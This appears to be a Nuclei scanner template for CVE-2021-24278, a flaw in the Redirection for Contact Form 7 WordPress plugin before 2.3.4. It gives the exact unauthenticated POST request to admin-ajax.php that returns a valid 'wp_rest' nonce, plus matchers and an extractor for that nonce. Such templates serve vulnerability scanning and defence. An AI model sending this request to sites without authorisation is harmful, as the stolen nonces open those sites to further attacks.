id: CVE-2021-24278

info:
  name: Redirection for Contact Form 7 < 2.3.4 - Unauthenticated Arbitrary Nonce Generation
  author: 2rs3c
  severity: high
  description: In the Redirection for Contact Form 7 WordPress plugin before 2.3.4, unauthenticated users can use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24278
    - https://wpscan.com/vulnerability/99f30604-d62b-4e30-afcd-b482f8d66413
    - https://www.wordfence.com/blog/2021/04/severe-vulnerabilities-patched-in-redirection-for-contact-form-7-plugin/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24278
  tags: cve,cve2021,wordpress,wp-plugin

requests:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: "action=wpcf7r_get_nonce&param=wp_rest"

    matchers-condition: and
    matchers:

      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - '"success":true'
          - '"nonce":"[a-f0-9]+"'
        condition: and

    extractors:
      - type: regex
        part: body
        regex:
          - '"nonce":"[a-f0-9]+"'